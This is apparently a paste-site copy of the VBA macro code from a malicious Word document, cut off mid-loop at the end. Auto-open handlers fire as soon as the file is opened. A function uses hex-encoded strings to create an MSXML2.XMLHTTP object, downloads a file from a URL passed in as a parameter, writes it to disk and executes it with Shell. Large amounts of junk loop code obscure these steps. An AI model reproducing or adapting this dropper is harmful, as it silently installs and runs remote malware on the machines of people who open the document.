Create a new version of paste:

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Auto_Open()
Dim ShQZEKpo, VwcTyYdl, pApIUlhR As String
Dim zlXRUOUA As Integer
For zlXRUOUA = 0 To 7
Dim fuisHauT, ZCdGXSlf, tiAOTpaI As String
fuisHauT = HexToString("20202020202020202020204353524C5451202020202020202020202020202020")
ZCdGXSlf = LTrim(fuisHauT)
tiAOTpaI = RTrim(ZCdGXSlf)

DoEvents
Next zlXRUOUA
Dim LKdTEvnR, yVBItdEG, rIZmegpg As String
LKdTEvnR = HexToString("202020202020202020202057554D424546202020202020202020202020202020")
yVBItdEG = LTrim(LKdTEvnR)
rIZmegpg = RTrim(yVBItdEG)

ShQZEKpo = HexToString("2020202020202020202020565251594B4A202020202020202020202020202020")
Dim spiTjcal As Integer
For spiTjcal = 0 To 3
Dim CKnkTWxn, KLPENNLA, FLMGmrjZ As String
CKnkTWxn = HexToString("202020202020202020202054504746554A202020202020202020202020202020")
KLPENNLA = LTrim(CKnkTWxn)
FLMGmrjZ = RTrim(KLPENNLA)

DoEvents
Next spiTjcal
Dim jMDMXwjN, XGmgpHiJ, FysNNCcm As String
jMDMXwjN = HexToString("2020202020202020202020434650434D58202020202020202020202020202020")
XGmgpHiJ = LTrim(jMDMXwjN)
FysNNCcm = RTrim(XGmgpHiJ)

VwcTyYdl = LTrim(ShQZEKpo)
Dim FJkQyQfv As Integer
For FJkQyQfv = 0 To 2
Dim hmDOzzcV, RqLdiDOY, uwiuJqlN As String
hmDOzzcV = HexToString("2020202020202020202020564C4D545151202020202020202020202020202020")
RqLdiDOY = LTrim(hmDOzzcV)
uwiuJqlN = RTrim(RqLdiDOY)

DoEvents
Next FJkQyQfv
Dim LkSEFNBx, yvvYhFeU, kRqOKAyK As String
LkSEFNBx = HexToString("2020202020202020202020574D5556495A202020202020202020202020202020")
yvvYhFeU = LTrim(LkSEFNBx)
kRqOKAyK = RTrim(yvvYhFeU)

pApIUlhR = RTrim(VwcTyYdl)

Dim fXmADZxW As Integer
For fXmADZxW = 0 To 6
Dim ViVfkYNf, LoobSPxg, GplQuGMj As String
ViVfkYNf = HexToString("2020202020202020202020544B41534150202020202020202020202020202020")
LoobSPxg = LTrim(ViVfkYNf)
GplQuGMj = RTrim(LoobSPxg)

DoEvents
Next fXmADZxW
Dim AtpCirKl, uNKkmbOq, BjIesYVF As String
AtpCirKl = HexToString("20202020202020202020205A4C57424244202020202020202020202020202020")
uNKkmbOq = LTrim(AtpCirKl)
BjIesYVF = RTrim(uNKkmbOq)

IGUCOBOAWDI
End Sub
Sub AutoOpen()
Dim dUBfFTFi, iIoboOso, rOlQZFOq As String
Dim LgGNwveL As Integer
For LgGNwveL = 0 To 5
Dim gqAoQeJe, EaYSHFeQ, KJSjXbgl As String
gqAoQeJe = HexToString("20202020202020202020204346444B4551202020202020202020202020202020")
EaYSHFeQ = LTrim(gqAoQeJe)
KJSjXbgl = RTrim(EaYSHFeQ)

DoEvents
Next LgGNwveL
Dim wSaDbwbg, UKDHzoZb, TEjENqoV As String
wSaDbwbg = HexToString("20202020202020202020204F5447454144202020202020202020202020202020")
UKDHzoZb = LTrim(wSaDbwbg)
TEjENqoV = RTrim(UKDHzoZb)

dUBfFTFi = HexToString("202020202020202020202044545A53534F202020202020202020202020202020")
Dim eqYUXvkp As Integer
For eqYUXvkp = 0 To 3
Dim NEOGkcZL, WRLaSZNM, JTedyYcW As String
NEOGkcZL = HexToString("202020202020202020202059454D424E59202020202020202020202020202020")
WRLaSZNM = LTrim(NEOGkcZL)
JTedyYcW = RTrim(WRLaSZNM)

DoEvents
Next eqYUXvkp
Dim PGNkrnAM, gPUSjWlS, iavcizIh As String
PGNkrnAM = HexToString("20202020202020202020205551484F4342202020202020202020202020202020")
gPUSjWlS = LTrim(PGNkrnAM)
iavcizIh = RTrim(gPUSjWlS)

iIoboOso = LTrim(dUBfFTFi)
Dim BTCqDZEg As Integer
For BTCqDZEg = 0 To 6
Dim PyLcltsQ, dkikzZWt, AifWifuD As String
PyLcltsQ = HexToString("2020202020202020202020475841494959202020202020202020202020202020")
dkikzZWt = LTrim(PyLcltsQ)
AifWifuD = RTrim(dkikzZWt)

DoEvents
Next BTCqDZEg
Dim xFqKQSyi, IMCWdbol, MNOVGfdE As String
xFqKQSyi = HexToString("20202020202020202020204F544D595557202020202020202020202020202020")
IMCWdbol = LTrim(xFqKQSyi)
MNOVGfdE = RTrim(IMCWdbol)

rOlQZFOq = RTrim(iIoboOso)

Dim BTWkoGmz As Integer
For BTWkoGmz = 0 To 6
Dim pbKaVipj, ynzdlsYk, ansvDjrl As String
pbKaVipj = HexToString("2020202020202020202020514156544A56202020202020202020202020202020")
ynzdlsYk = LTrim(pbKaVipj)
ansvDjrl = RTrim(ynzdlsYk)

DoEvents
Next BTWkoGmz
Dim PHstMmcC, hSMbuGgF, ozPqCXRk As String
PHstMmcC = HexToString("2020202020202020202020555358454B58202020202020202020202020202020")
hSMbuGgF = LTrim(PHstMmcC)
ozPqCXRk = RTrim(hSMbuGgF)

    Auto_Open
End Sub
Sub Workbook_Open()
Dim mibzxVwm, BrucOlds, RBGKCFtr As String
Dim RXZIAShB As Integer
For RXZIAShB = 0 To 3
Dim bUuQVPIo, zKwTUikE, jIAoDLEs As String
bUuQVPIo = HexToString("20202020202020202020204F5049465657202020202020202020202020202020")
zKwTUikE = LTrim(bUuQVPIo)
jIAoDLEs = RTrim(zKwTUikE)

DoEvents
Next RXZIAShB
Dim XcdtAfzs, iEBirztx, yfZMzrQW As String
XcdtAfzs = HexToString("202020202020202020202058434D535A4F202020202020202020202020202020")
iEBirztx = LTrim(XcdtAfzs)
yfZMzrQW = RTrim(iEBirztx)

mibzxVwm = HexToString("20202020202020202020204B50564C4B4B202020202020202020202020202020")
Dim ziNXaAfi As Integer
For ziNXaAfi = 0 To 1
Dim XIFbkptW, KIVQSgZX, DOiCulNV As String
XIFbkptW = HexToString("20202020202020202020205254584B4E42202020202020202020202020202020")
KIVQSgZX = LTrim(XIFbkptW)
DOiCulNV = RTrim(KIVQSgZX)

DoEvents
Next ziNXaAfi
Dim aoFfnAwl, YrwIDCds, bmdlRrAG As String
aoFfnAwl = HexToString("2020202020202020202020475750554F42202020202020202020202020202020")
YrwIDCds = LTrim(aoFfnAwl)
bmdlRrAG = RTrim(YrwIDCds)

BrucOlds = LTrim(mibzxVwm)
Dim SBFJZsll As Integer
For SBFJZsll = 0 To 2
Dim KZLEPyie, ulBuGJlQ, ORfavget As String
KZLEPyie = HexToString("2020202020202020202020534358455A44202020202020202020202020202020")
ulBuGJlQ = LTrim(KZLEPyie)
ORfavget = RTrim(ulBuGJlQ)

DoEvents
Next SBFJZsll
Dim qFqLQZsi, xMCCfhgk, INONGrlZ As String
qFqLQZsi = HexToString("202020202020202020202050485646584F202020202020202020202020202020")
xMCCfhgk = LTrim(qFqLQZsi)
INONGrlZ = RTrim(xMCCfhgk)

RBGKCFtr = RTrim(BrucOlds)

Dim FvnKOyDC As Integer
For FvnKOyDC = 0 To 2
Dim LjQdGiSV, GkWvpdpB, PltPRjUN As String
LjQdGiSV = HexToString("2020202020202020202020454357515356202020202020202020202020202020")
GkWvpdpB = LTrim(LjQdGiSV)
PltPRjUN = RTrim(GkWvpdpB)

DoEvents
Next FvnKOyDC
Dim aFYflHvr, YOfOYqhW, bNtlckRv As String
aFYflHvr = HexToString("2020202020202020202020475159555459202020202020202020202020202020")
YOfOYqhW = LTrim(aFYflHvr)
bNtlckRv = RTrim(YOfOYqhW)

    Auto_Open
End Sub
Function XBFAPGNWGLM(ByVal TPAOTURPFOP As String, ByVal TVJVKSFDLLP As String) As Boolean
     Dim VITXOMHNZWX As Object, HISBIEKZNOY As Long, IHKQTVUQCZB As Long, ETSVVGEHSOS() As Byte

Dim xmccdXhH, BYQjXlBp, fxJWayqK As String
Dim ONouzcZq As Integer
For ONouzcZq = 0 To 3
Dim PPVhaeyl, BbeLyFja, AQkDGsNm As String
PPVhaeyl = HexToString("2020202020202020202020494142585153202020202020202020202020202020")
BbeLyFja = LTrim(PPVhaeyl)
AQkDGsNm = RTrim(BbeLyFja)

DoEvents
Next ONouzcZq
Dim QytrriLh, CsJuTWCn, okEpiONP As String
QytrriLh = HexToString("20202020202020202020204A4648514859202020202020202020202020202020")
CsJuTWCn = LTrim(QytrriLh)
okEpiONP = RTrim(CsJuTWCn)

xmccdXhH = HexToString("2020202020202020202020495248555441202020202020202020202020202020")
Dim LJcrCbeU As Integer
For LJcrCbeU = 0 To 9
Dim gBYwVzmn, qBJIluKA, yNaMDqhZ As String
gBYwVzmn = HexToString("202020202020202020202046444B484A57202020202020202020202020202020")
qBJIluKA = LTrim(gBYwVzmn)
yNaMDqhZ = RTrim(qBJIluKA)

DoEvents
Next LJcrCbeU
Dim MPPHJOIZ, DaAAUHCy, lXoXWqGC As String
MPPHJOIZ = HexToString("2020202020202020202020534F49584A45202020202020202020202020202020")
DaAAUHCy = LTrim(MPPHJOIZ)
lXoXWqGC = RTrim(DaAAUHCy)

BYQjXlBp = LTrim(xmccdXhH)
Dim oVWtGldS As Integer
For oVWtGldS = 0 To 8
Dim iplKcCkb, PmUSumNM, BqDjdysZ As String
iplKcCkb = HexToString("20202020202020202020204156464B515A202020202020202020202020202020")
PmUSumNM = LTrim(iplKcCkb)
BqDjdysZ = RTrim(PmUSumNM)

DoEvents
Next oVWtGldS
Dim jvWxurjJ, gpvotyXj, AhqsULNA As String
jvWxurjJ = HexToString("20202020202020202020205556514D4A52202020202020202020202020202020")
gpvotyXj = LTrim(jvWxurjJ)
AhqsULNA = RTrim(gpvotyXj)

fxJWayqK = RTrim(BYQjXlBp)

Dim jyPVwGeN As Integer
For jyPVwGeN = 0 To 9
Dim UtpnKwQQ, EtlSsniS, vyRBYRTD As String
UtpnKwQQ = HexToString("20202020202020202020204348554B4654202020202020202020202020202020")
EtlSsniS = LTrim(UtpnKwQQ)
vyRBYRTD = RTrim(EtlSsniS)

DoEvents
Next jyPVwGeN
Dim HkNGJkug, OIHnIvxK, gEvWWLfO As String
HkNGJkug = HexToString("2020202020202020202020504E48574A4D202020202020202020202020202020")
OIHnIvxK = LTrim(HkNGJkug)
gEvWWLfO = RTrim(OIHnIvxK)

    Set VITXOMHNZWX = CreateObject(HexToString("4D53584D4C322E584D4C48545450"))
    VITXOMHNZWX.Open HexToString("474554"), TPAOTURPFOP, False
Dim nlWlldfb, SvUxMakP, PpqoKeCo As String
Dim XvpXdzuw As Integer
For XvpXdzuw = 0 To 9
Dim fYoEnSRj, ZxguTcHB, tIZagWbl As String
fYoEnSRj = HexToString("2020202020202020202020434252454345202020202020202020202020202020")
ZxguTcHB = LTrim(fYoEnSRj)
tIZagWbl = RTrim(ZxguTcHB)

DoEvents
Next XvpXdzuw
Dim VagOOasc, qiaSsFgU, xfDGDZlK As String
VagOOasc = HexToString("202020202020202020202043535741595A202020202020202020202020202020")
qiaSsFgU = LTrim(VagOOasc)
xfDGDZlK = RTrim(qiaSsFgU)

nlWlldfb = HexToString("20202020202020202020205157534C4349202020202020202020202020202020")
Dim fcdOuBbF As Integer
For fcdOuBbF = 0 To 6
Dim PWjWModf, YXnugfOg, AXPlOkuh As String
PWjWModf = HexToString("20202020202020202020204253505A4756202020202020202020202020202020")
YXnugfOg = LTrim(PWjWModf)
AXPlOkuh = RTrim(YXnugfOg)

DoEvents
Next fcdOuBbF
Dim fuKoxMCN, uxIMfasE, Qljgnxew As String
fuKoxMCN = HexToString("2020202020202020202020574D5354554F202020202020202020202020202020")
uxIMfasE = LTrim(fuKoxMCN)
Qljgnxew = RTrim(uxIMfasE)

SvUxMakP = LTrim(nlWlldfb)
Dim WHhoDDsx As Integer
For WHhoDDsx = 0 To 9
Dim TgTAlwsM, inMweLWg, xjBBiRuC As String
TgTAlwsM = HexToString("202020202020202020202044414D504F46202020202020202020202020202020")
inMweLWg = LTrim(TgTAlwsM)
xjBBiRuC = RTrim(inMweLWg)

DoEvents
Next WHhoDDsx
Dim DaKWFCdl, QQwUSBKK, CJiPgDXe As String
DaKWFCdl = HexToString("20202020202020202020204B5350554941202020202020202020202020202020")
QQwUSBKK = LTrim(DaKWFCdl)
CJiPgDXe = RTrim(QQwUSBKK)

PpqoKeCo = RTrim(SvUxMakP)

Dim HlFjRZes As Integer
For HlFjRZes = 0 To 8
Dim VPUlPPmy, MQJRrGKu, GQzHvLho As String
VPUlPPmy = HexToString("202020202020202020202059594C465053202020202020202020202020202020")
MQJRrGKu = LTrim(VPUlPPmy)
GQzHvLho = RTrim(MQJRrGKu)

DoEvents
Next HlFjRZes
Dim ceXDUGyl, jlDvvXmX, XgmLQjdF As String
ceXDUGyl = HexToString("2020202020202020202020414B464D5359202020202020202020202020202020")
jlDvvXmX = LTrim(ceXDUGyl)
XgmLQjdF = RTrim(jlDvvXmX)

    VITXOMHNZWX.Send HexToString("676A766B76686C")


Dim ATdUYIlO, xTxLNSHP, lYYtmJfS As String
Dim VlcjckAj As Integer
For VlcjckAj = 0 To 3
Dim HufbzyvT, lkZlQEiN, UiIVJglI As String
HufbzyvT = HexToString("20202020202020202020204B43514F4E59202020202020202020202020202020")
lkZlQEiN = LTrim(HufbzyvT)
UiIVJglI = RTrim(lkZlQEiN)

DoEvents
Next VlcjckAj
Dim HmANTIiz, znfeuwss, gYNyIpgx As String
HmANTIiz = HexToString("20202020202020202020204C575A4F454C202020202020202020202020202020")
znfeuwss = LTrim(HmANTIiz)
gYNyIpgx = RTrim(znfeuwss)

ATdUYIlO = HexToString("20202020202020202020204D5249584951202020202020202020202020202020")
Dim qBTFlFUR As Integer
For qBTFlFUR = 0 To 8
Dim DfTXigqx, OgGoZlIv, RhBmCcyb As String
DfTXigqx = HexToString("20202020202020202020204E574B455841202020202020202020202020202020")
OgGoZlIv = LTrim(DfTXigqx)
RhBmCcyb = RTrim(OgGoZlIv)

DoEvents
Next qBTFlFUR
Dim TbnKkjqb, qmodRQzj, HjHUJuMo As String
TbnKkjqb = HexToString("2020202020202020202020434C42464741202020202020202020202020202020")
qmodRQzj = LTrim(TbnKkjqb)
HjHUJuMo = RTrim(qmodRQzj)

xTxLNSHP = LTrim(ATdUYIlO)
Dim azByVebN As Integer
For azByVebN = 0 To 1
Dim EDdbSbvK, KEleKqPn, mFUCAIlW As String
EDdbSbvK = HexToString("2020202020202020202020525A59415243202020202020202020202020202020")
KEleKqPn = LTrim(EDdbSbvK)
mFUCAIlW = RTrim(KEleKqPn)

DoEvents
Next azByVebN
Dim TrHObPwY, EFlxcSzt, HMtbBbth As String
TrHObPwY = HexToString("202020202020202020202046444F414E4D202020202020202020202020202020")
EFlxcSzt = LTrim(TrHObPwY)
HMtbBbth = RTrim(EFlxcSzt)

lYYtmJfS = RTrim(xTxLNSHP)

Dim HdnzErCy As Integer
For HdnzErCy = 0 To 8
Dim nYqAENFe, wUwDCtsr, kITBkoOt As String
nYqAENFe = HexToString("20202020202020202020204D52494C594D202020202020202020202020202020")
wUwDCtsr = LTrim(nYqAENFe)
kITBkoOt = RTrim(wUwDCtsr)

DoEvents
Next HdnzErCy
Dim JVtEjZnt, PgXfiOHI, hpEOmtUb As String
JVtEjZnt = HexToString("202020202020202020202050484C47524E202020202020202020202020202020")
PgXfiOHI = LTrim(JVtEjZnt)
hpEOmtUb = RTrim(PgXfiOHI)

    ETSVVGEHSOS = VITXOMHNZWX.responseBody

Dim aeVRwHyq, TVYBIqCe, qMflWTGM As String
Dim pORRZdyT As Integer
For pORRZdyT = 0 To 2
Dim DErShlEF, hFlYBJso, RRcptZcJ As String
DErShlEF = HexToString("20202020202020202020204A4959475544202020202020202020202020202020")
hFlYBJso = LTrim(DErShlEF)
RRcptZcJ = RTrim(hFlYBJso)

DoEvents
Next pORRZdyT
Dim HYqDLhKz, zSCHmrXd, fKOLCJBx As String
HYqDLhKz = HexToString("20202020202020202020204C414D455050202020202020202020202020202020")
zSCHmrXd = LTrim(HYqDLhKz)
fKOLCJBx = RTrim(zSCHmrXd)

aeVRwHyq = HexToString("2020202020202020202020494951554A44202020202020202020202020202020")
Dim GeLEdqeg As Integer
For GeLEdqeg = 0 To 8
Dim CkYqgaSQ, KlHcOtpS, DlNOepUD As String
CkYqgaSQ = HexToString("202020202020202020202054434B50424D202020202020202020202020202020")
KlHcOtpS = LTrim(CkYqgaSQ)
DlNOepUD = RTrim(KlHcOtpS)

DoEvents
Next GeLEdqeg
Dim hooDXZcK, WtJopVhP, bNvExluA As String
hooDXZcK = HexToString("2020202020202020202020485148535455202020202020202020202020202020")
WtJopVhP = LTrim(hooDXZcK)
bNvExluA = RTrim(WtJopVhP)

TVYBIqCe = LTrim(aeVRwHyq)
Dim TysWLbWP As Integer
For TysWLbWP = 0 To 9
Dim DVhlBrKs, zDmVrGrM, RBOKDdDg As String
DVhlBrKs = HexToString("20202020202020202020204F4955564F53202020202020202020202020202020")
zDmVrGrM = LTrim(DVhlBrKs)
RBOKDdDg = RTrim(zDmVrGrM)

DoEvents
Next TysWLbWP
Dim kPjLQTLS, jwMYOUbs, ZAYOqwZx As String
kPjLQTLS = HexToString("202020202020202020202055525859554B202020202020202020202020202020")
jwMYOUbs = LTrim(kPjLQTLS)
ZAYOqwZx = RTrim(jwMYOUbs)

qMflWTGM = RTrim(TVYBIqCe)

Dim oQcyILmk As Integer
For oQcyILmk = 0 To 6
Dim EkcOvyHK, vlUWLqfL, mlKufgQM As String
EkcOvyHK = HexToString("2020202020202020202020574346435243202020202020202020202020202020")
vlUWLqfL = LTrim(EkcOvyHK)
mlKufgQM = RTrim(vlUWLqfL)

DoEvents
Next oQcyILmk
Dim ApRUcXeb, lnmlgeke, BweDAcpM As String
ApRUcXeb = HexToString("20202020202020202020205A58544A554F202020202020202020202020202020")
lnmlgeke = LTrim(ApRUcXeb)
BweDAcpM = RTrim(lnmlgeke)

    IHKQTVUQCZB = FreeFile
    Open TVJVKSFDLLP For Binary As #IHKQTVUQCZB
Dim VIIlfXUl, nLCfCljD, GOzJetZw As String
Dim YdglYOLr As Integer
For YdglYOLr = 0 To 9
Dim ZOlBlCSR, tWULzmwB, lPSxuyUU As String
ZOlBlCSR = HexToString("202020202020202020202051514657495A202020202020202020202020202020")
tWULzmwB = LTrim(ZOlBlCSR)
lPSxuyUU = RTrim(tWULzmwB)

DoEvents
Next YdglYOLr
Dim KtCrxXMu, rsOuBPVk, hkwpnvaZ As String
KtCrxXMu = HexToString("20202020202020202020204D465351424E202020202020202020202020202020")
rsOuBPVk = LTrim(KtCrxXMu)
hkwpnvaZ = RTrim(rsOuBPVk)

VIIlfXUl = HexToString("2020202020202020202020585057595941202020202020202020202020202020")
Dim KLxJAuNl As Integer
For KLxJAuNl = 0 To 5
Dim BsGufJWl, WdBlIWll, HfoReNHw As String
BsGufJWl = HexToString("2020202020202020202020594D43494247202020202020202020202020202020")
WdBlIWll = LTrim(BsGufJWl)
HfoReNHw = RTrim(WdBlIWll)

DoEvents
Next KLxJAuNl
Dim EjMqMWGO, osATuhUA, FupNlQvl As String
EjMqMWGO = HexToString("202020202020202020202043464F434548202020202020202020202020202020")
osATuhUA = LTrim(EjMqMWGO)
FupNlQvl = RTrim(osATuhUA)

nLCfCljD = LTrim(VIIlfXUl)
Dim zICYoqGF As Integer
For zICYoqGF = 0 To 3
Dim ftGelAxO, ZWWYbdIk, tupnoPkQ As String
ftGelAxO = HexToString("2020202020202020202020435157474D56202020202020202020202020202020")
ZWWYbdIk = LTrim(ftGelAxO)
tupnoPkQ = RTrim(ZWWYbdIk)

DoEvents
Next zICYoqGF
Dim kpvTKogd, hMzlHqMS, ZNFwlVCX As String
kpvTKogd = HexToString("202020202020202020202055484E425059202020202020202020202020202020")
hMzlHqMS = LTrim(kpvTKogd)
ZNFwlVCX = RTrim(hMzlHqMS)

GOzJetZw = RTrim(nLCfCljD)

Dim lSUSfOqp As Integer
For lSUSfOqp = 0 To 4
Dim RRSFkyyo, nTCNSpZp, wTusugNq As String
RRSFkyyo = HexToString("2020202020202020202020584557424158202020202020202020202020202020")
nTCNSpZp = LTrim(RRSFkyyo)
wTusugNq = RTrim(nTCNSpZp)

DoEvents
Next lSUSfOqp
Dim lxvyAdcq, dDhJllDF, JICsTFRT As String
lxvyAdcq = HexToString("2020202020202020202020565A45454F4B202020202020202020202020202020")
dDhJllDF = LTrim(lxvyAdcq)
JICsTFRT = RTrim(dDhJllDF)

    Put #IHKQTVUQCZB, , ETSVVGEHSOS
Dim XhrvHdSj, iwHAkaGA, lAZRMFKS As String
Dim goGapZEr As Integer
For goGapZEr = 0 To 3
Dim FMziqoIN, eOuSjMMI, TWwYNkEe As String
FMziqoIN = HexToString("20202020202020202020205059414B4847202020202020202020202020202020")
eOuSjMMI = LTrim(FMziqoIN)
TWwYNkEe = RTrim(eOuSjMMI)

DoEvents
Next goGapZEr
Dim PLToVCaq, CNksnQtw, oyrgzbiY As String
PLToVCaq = HexToString("2020202020202020202020484945464441202020202020202020202020202020")
CNksnQtw = LTrim(PLToVCaq)
oyrgzbiY = RTrim(CNksnQtw)

XhrvHdSj = HexToString("2020202020202020202020584C48574F49202020202020202020202020202020")
Dim YuMPhGra As Integer
For YuMPhGra = 0 To 3
Dim eQssLmiG, BSwcfbTH, MSTOUEeK As String
eQssLmiG = HexToString("2020202020202020202020495549514652202020202020202020202020202020")
BSwcfbTH = LTrim(eQssLmiG)
MSTOUEeK = RTrim(BSwcfbTH)

DoEvents
Next YuMPhGra
Dim DeQvQvLu, YlZpZToP, sgpRGaNA As String
DeQvQvLu = HexToString("2020202020202020202020494B4F444656202020202020202020202020202020")
YlZpZToP = LTrim(DeQvQvLu)
sgpRGaNA = RTrim(YlZpZToP)

iwHAkaGA = LTrim(XhrvHdSj)
Dim STNFKKJM As Integer
For STNFKKJM = 0 To 7
Dim tNNDvFie, UsfUisJx, XzlqdCet As String
tNNDvFie = HexToString("2020202020202020202020424C52475143202020202020202020202020202020")
UsfUisJx = LTrim(tNNDvFie)
XzlqdCet = RTrim(UsfUisJx)

DoEvents
Next STNFKKJM
Dim TbhHpfQD, EqLEihjs, GjTYOemx As String
TbhHpfQD = HexToString("2020202020202020202020465658544C4F202020202020202020202020202020")
EqLEihjs = LTrim(TbhHpfQD)
GjTYOemx = RTrim(EqLEihjs)

lAZRMFKS = RTrim(iwHAkaGA)

Dim hpcHlfTb As Integer
For hpcHlfTb = 0 To 3
Dim rnDgyHMo, NACnnWkp, WZiDWBGq As String
rnDgyHMo = HexToString("2020202020202020202020494158535747202020202020202020202020202020")
NACnnWkp = LTrim(rnDgyHMo)
WZiDWBGq = RTrim(NACnnWkp)

DoEvents
Next hpcHlfTb
Dim jEoDElxl, pMBcmbQX, FGULUMEF As String
jEoDElxl = HexToString("20202020202020202020204354574D5057202020202020202020202020202020")
pMBcmbQX = LTrim(jEoDElxl)
FGULUMEF = RTrim(pMBcmbQX)

    Close #IHKQTVUQCZB
Dim ihJfyZrM, rjabbYAW, BkqSMQBX As String
Dim yfIMtlRP As Integer
For yfIMtlRP = 0 To 2
Dim xRWvxekX, BHplynah, fYhXssdV As String
xRWvxekX = HexToString("2020202020202020202020494F5A495054202020202020202020202020202020")
BHplynah = LTrim(xRWvxekX)
fYhXssdV = RTrim(BHplynah)

DoEvents
Next yfIMtlRP
Dim rYQUBRsl, hScPnkgE, ZLpDzykF As String
rYQUBRsl = HexToString("20202020202020202020204E5A554E444A202020202020202020202020202020")
hScPnkgE = LTrim(rYQUBRsl)
ZLpDzykF = RTrim(hScPnkgE)

ihJfyZrM = HexToString("2020202020202020202020505856534D49202020202020202020202020202020")
Dim RlFgOdeV As Integer
For RlFgOdeV = 0 To 9
Dim knWNuMHl, fAtsABfm, oZgcWeQx As String
knWNuMHl = HexToString("202020202020202020202047414254574A202020202020202020202020202020")
fAtsABfm = LTrim(knWNuMHl)
oZgcWeQx = RTrim(fAtsABfm)

DoEvents
Next RlFgOdeV
Dim PlkKJgNi, EPoEIwgQ, iTHVWHyZ As String
PlkKJgNi = HexToString("2020202020202020202020554142434A4C202020202020202020202020202020")
EPoEIwgQ = LTrim(PlkKJgNi)
iTHVWHyZ = RTrim(EPoEIwgQ)

rjabbYAW = LTrim(ihJfyZrM)
Dim HtncqYVy As Integer
For HtncqYVy = 0 To 8
Dim FlELEzPn, epOcODXo, TwCklqTZ As String
FlELEzPn = HexToString("2020202020202020202020504C47514251202020202020202020202020202020")
epOcODXo = LTrim(FlELEzPn)
TwCklqTZ = RTrim(epOcODXo)

DoEvents
Next HtncqYVy
Dim aKjbVEKp, fVeZnjXm, brGTztBT As String
aKjbVEKp = HexToString("20202020202020202020205A534A4A4446202020202020202020202020202020")
fVeZnjXm = LTrim(aKjbVEKp)
brGTztBT = RTrim(fVeZnjXm)

BkqSMQBX = RTrim(rjabbYAW)

Dim vkeHzhlI As Integer
For vkeHzhlI = 0 To 7
Dim gchIucKv, pvbMAZhb, yvOyXYDn As String
gchIucKv = HexToString("2020202020202020202020464E50585759202020202020202020202020202020")
pvbMAZhb = LTrim(gchIucKv)
yvOyXYDn = RTrim(pvbMAZhb)

DoEvents
Next vkeHzhlI
Dim oTdBbPNS, zXePjJhh, UJQtEdui As String
oTdBbPNS = HexToString("20202020202020202020204C59584E4952202020202020202020202020202020")
zXePjJhh = LTrim(oTdBbPNS)
UJQtEdui = RTrim(zXePjJhh)

    
    Dim WNBDJKBSMXA
Dim oApmVPjk, zKayGJYW, YDInzdcS As String
Dim ACKYeWPg As Integer
For ACKYeWPg = 0 To 2
Dim wsdHlkpd, VxAPzGLU, ddYfiAth As String
wsdHlkpd = HexToString("20202020202020202020204942514A4F53202020202020202020202020202020")
VxAPzGLU = LTrim(wsdHlkpd)
ddYfiAth = RTrim(VxAPzGLU)

DoEvents
Next ACKYeWPg
Dim JIDpkAqH, eFbdLhfa, hMshwrks As String
JIDpkAqH = HexToString("20202020202020202020204D5A49464348202020202020202020202020202020")
eFbdLhfa = LTrim(JIDpkAqH)
hMshwrks = RTrim(eFbdLhfa)

oApmVPjk = HexToString("20202020202020202020204C5457514D52202020202020202020202020202020")
Dim MGRneXES As Integer
For MGRneXES = 0 To 3
Dim RhVwXgkI, bjoIjlGO, wklMPcdP As String
RhVwXgkI = HexToString("2020202020202020202020585841484841202020202020202020202020202020")
bjoIjlGO = LTrim(RhVwXgkI)
wklMPcdP = RTrim(bjoIjlGO)

DoEvents
Next MGRneXES
Dim lJEAQLbS, dimdAaGh, KezIGwYu As String
lJEAQLbS = HexToString("2020202020202020202020565354464649202020202020202020202020202020")
dimdAaGh = LTrim(lJEAQLbS)
KezIGwYu = RTrim(dimdAaGh)

zKayGJYW = LTrim(oApmVPjk)
Dim NFQePumM As Integer
For NFQePumM = 0 To 6
Dim VzalIsFl, dKuXFCNa, GemHcmOw As String
VzalIsFl = HexToString("202020202020202020202047504E434148202020202020202020202020202020")
dKuXFCNa = LTrim(VzalIsFl)
GemHcmOw = RTrim(dKuXFCNa)

DoEvents
Next NFQePumM
Dim fIkdllho, nFrhWill, SMHlcXxE As String
fIkdllho = HexToString("2020202020202020202020534441564454202020202020202020202020202020")
nFrhWill = LTrim(fIkdllho)
SMHlcXxE = RTrim(nFrhWill)

YDInzdcS = RTrim(zKayGJYW)

Dim VNSKUwlY As Integer
For VNSKUwlY = 0 To 6
Dim ltIOEEjP, gtLWVUFS, qyeulSsD As String
ltIOEEjP = HexToString("202020202020202020202048484C435949202020202020202020202020202020")
gtLWVUFS = LTrim(ltIOEEjP)
qyeulSsD = RTrim(gtLWVUFS)

DoEvents
Next VNSKUwlY
Dim WHjAvCDe, FuidhrzY, leGUZbMv As String
WHjAvCDe = HexToString("2020202020202020202020535342464950202020202020202020202020202020")
FuidhrzY = LTrim(WHjAvCDe)
leGUZbMv = RTrim(FuidhrzY)

    WNBDJKBSMXA = Shell(TVJVKSFDLLP, 1)

Dim uuHSsxxm, wCXhjoIe, VippNTkx As String
Dim uHiaVMTN As Integer
For uHiaVMTN = 0 To 2
Dim hJQvzhmv, KzNlQSrK, yKyCJvhn As String
hJQvzhmv = HexToString("2020202020202020202020524743494E51202020202020202020202020202020")
KzNlQSrK = LTrim(hJQvzhmv)
yKyCJvhn = RTrim(KzNlQSrK)

DoEvents
Next uHiaVMTN
Dim yWJnIYDD, kaEEpmHV, EuhYSiMi As String
yWJnIYDD = HexToString("2020202020202020202020414F5043544B202020202020202020202020202020")
kaEEpmHV = LTrim(yWJnIYDD)
EuhYSiMi = RTrim(kaEEpmHV)

uuHSsxxm = HexToString("20202020202020202020204C5357554858202020202020202020202020202020")
Dim QUyMiVxs As Integer
For QUyMiVxs = 0 To 1
Dim aLIdKlcs, CMKvdcWf, KMzPUZlg As String
aLIdKlcs = HexToString("202020202020202020202055514C514645202020202020202020202020202020")
CMKvdcWf = LTrim(aLIdKlcs)
KMzPUZlg = RTrim(CMKvdcWf)

DoEvents
Next QUyMiVxs
Dim iNbxtnhq, ajhiWURF, YsVZozxY As String
iNbxtnhq = HexToString("20202020202020202020204C4A45535642202020202020202020202020202020")
ajhiWURF = LTrim(iNbxtnhq)
YsVZozxY = RTrim(ajhiWURF)

wCXhjoIe = LTrim(uuHSsxxm)
Dim zEcwNsqo As Integer
For zEcwNsqo = 0 To 1
Dim bocZPlQn, DBZyGrCo, hpJNvAYZ As String
bocZPlQn = HexToString("20202020202020202020205A44515A5A4C202020202020202020202020202020")
DBZyGrCo = LTrim(bocZPlQn)
hpJNvAYZ = RTrim(DBZyGrCo)

DoEvents
